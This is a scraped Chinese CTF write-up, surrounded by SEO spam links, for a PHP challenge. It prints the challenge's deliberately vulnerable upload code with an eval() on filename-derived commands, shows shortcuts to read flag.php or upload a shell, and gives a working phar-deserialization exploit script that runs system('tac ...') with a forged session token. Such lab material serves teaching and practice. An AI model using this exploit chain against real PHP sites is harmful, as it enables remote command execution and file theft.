当前位置: 首页 > news >正文

学做标书网站seo优化教程

学做标书网站,seo优化教程,常熟做网站价格,域名上面怎么建设网站文章目录 [BabysqliV3.0]phar反序列化 [BabysqliV3.0]phar反序列化 开始以为是sql注入 [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-ST1jvadM-1691302941344)(https://raw.githubusercontent.com/leekosss/photoBed/master/202308032140269.png)…

文章目录

    • [BabysqliV3.0]phar反序列化

[BabysqliV3.0]phar反序列化

开始以为是sql注入

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-ST1jvadM-1691302941344)(https://raw.githubusercontent.com/leekosss/photoBed/master/202308032140269.png)]

账号为:admin,一直试都没反应,后来发现可以弱口令,密码:password

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-PKuBGWCd-1691302941344)(https://raw.githubusercontent.com/leekosss/photoBed/master/202308032141726.png)]

一个文件上传页面:

image-20230803214327490

在file参数存在文件包含:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-eLLkRDru-1691302941345)(https://raw.githubusercontent.com/leekosss/photoBed/master/202308032143134.png)]

home.php

<?php
session_start();
echo "<meta http-equiv=\"Content-Type\" content=\"text/html; charset=utf-8\" /> <title>Home</title>";
error_reporting(0);
if(isset($_SESSION['user'])){if(isset($_GET['file'])){if(preg_match("/.?f.?l.?a.?g.?/i", $_GET['file'])){die("hacker!");}else{if(preg_match("/home$/i", $_GET['file']) or preg_match("/upload$/i", $_GET['file'])){$file = $_GET['file'].".php";}else{$file = $_GET['file'].".fxxkyou!";}echo "当前引用的是 ".$file;require $file;}}else{die("no permission!");}
}
?>

upload.php

<meta http-equiv="Content-Type" content="text/html; charset=utf-8" /><form action="" method="post" enctype="multipart/form-data">上传文件<input type="file" name="file" /><input type="submit" name="submit" value="上传" />
</form><?php
error_reporting(0);
class Uploader{public $Filename;public $cmd;public $token;function __construct(){$sandbox = getcwd()."/uploads/".md5($_SESSION['user'])."/";$ext = ".txt";@mkdir($sandbox, 0777, true);if(isset($_GET['name']) and !preg_match("/data:\/\/ | filter:\/\/ | php:\/\/ | \./i", $_GET['name'])){$this->Filename = $_GET['name'];}else{$this->Filename = $sandbox.$_SESSION['user'].$ext;}$this->cmd = "echo '<br><br>Master, I want to study rizhan!<br><br>';";$this->token = $_SESSION['user'];}function upload($file){global $sandbox;global $ext;if(preg_match("[^a-z0-9]", $this->Filename)){$this->cmd = "die('illegal filename!');";}else{if($file['size'] > 1024){$this->cmd = "die('you are too big (′▽`〃)');";}else{$this->cmd = "move_uploaded_file('".$file['tmp_name']."', '" . $this->Filename . "');";}}}function __toString(){global $sandbox;global $ext;// return $sandbox.$this->Filename.$ext;return $this->Filename;}function __destruct(){if($this->token != $_SESSION['user']){$this->cmd = "die('check token falied!');";}eval($this->cmd);}
}if(isset($_FILES['file'])) {$uploader = new Uploader();$uploader->upload($_FILES["file"]);if(@file_get_contents($uploader)){echo "下面是你上传的文件:<br>".$uploader."<br>";echo file_get_contents($uploader);}
}?>

这题有两个非预期解:

if(isset($_GET['name']) and !preg_match("/data:\/\/ | filter:\/\/ | php:\/\/ | \./i", $_GET['name'])){$this->Filename = $_GET['name'];}if(@file_get_contents($uploader)){echo "下面是你上传的文件:<br>".$uploader."<br>";echo file_get_contents($uploader);
}	

我们可以控制文件名的参数,并且获取文件名的文件内容

非预期解1:

我们直接读flag.php:

image-20230803214753704

非预期解2:

我们可以直接上传一个shell:

image-20230803214906141

预期解:

phar反序列化

难点主要是需要绕过:token

function __destruct(){if($this->token != $_SESSION['user']){$this->cmd = "die('check token falied!');";}eval($this->cmd);}

但是如果上次文件不加name参数,会讲session写入文件名:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-6eEMtHuE-1691302941346)(https://raw.githubusercontent.com/leekosss/photoBed/master/202308032150189.png)]

随便上传一个文件,获取token

image-20230803215054939

构造phar文件:

<?phpclass Uploader{public $Filename;public $cmd = "system('tac /var/www/html/flag.php');";public $token = "GXY2088cabe1723182d413a31dd560b1766";
}@unlink("phar.phar");  //先删除存在的phar.phar$phar = new Phar("phar.phar"); //后缀名必须为phar$phar->startBuffering();$phar->setStub('<?php __HALT_COMPILER(); ?>'); //设置stub$o = new Uploader();$phar->setMetadata($o); //将自定义的meta-data存入manifest$phar->addFromString("test.txt", "test"); //添加要压缩的文件//签名自动计算$phar->stopBuffering();

我们将phar文件上传上去:

image-20230803215159344

然后在文件名中包含phar://,配合file_get_contents()就会将phar反序列化,获得flag

image-20230803215235366

http://www.ds6.com.cn/news/6801.html

相关文章:

  • 苏州网站建设点一点百度爱采购怎样入驻
  • 液压产品做哪个网站好怎么做网络宣传推广
  • 江西网站建设开发网站排名优化课程
  • 一个网站如何做双语河南网站seo靠谱
  • 网站生成海报功能怎么做的搜索引擎排名营销
  • 平安区wap网站建设公司seo推广是什么意思
  • 网站返回404百度竞价排名规则及费用
  • 常用网页设计软件宁波正规seo推广公司
  • 哪个行业最需要做网站北京已感染上千万人
  • 在国外做h网站怎么样外贸国际网站推广
  • 做网站推广需要什么今日国际新闻最新消息事件
  • 做软件常用的网站有哪些软件有哪些云搜索引擎
  • 网站建设什么打王思聪沈阳头条今日头条新闻最新消息
  • 电子商城网站制作数据库网页设计图
  • 网站备案期间做什么百度seo搜索引擎优化
  • 空间站对接热门关键词排名查询
  • 武汉站建设哈尔滨百度网站快速优化
  • 网站模版库外贸独立站建站
  • 龙岩有什么兼职可以做深圳优化公司高粱seo较
  • 外贸网站做SEO河北seo技术培训
  • 西安企业网站建设托管搜索词和关键词
  • 三站一体网站制作百度广告推广费用
  • 网页小游戏列表游戏优化
  • 怎么利用爬虫技术 提高网站排名app推广好做吗
  • 百度大全网站怎么策划一个营销方案
  • 做网站一定要域名吗大数据营销推广精准粉
  • 广州东莞最新疫情郑州seo服务
  • ps做网站像素大小营销网站都有哪些
  • wordpress主题添加中文版关键词优化包含
  • 哪个网站可以查企业信息万网注册域名查询官方网站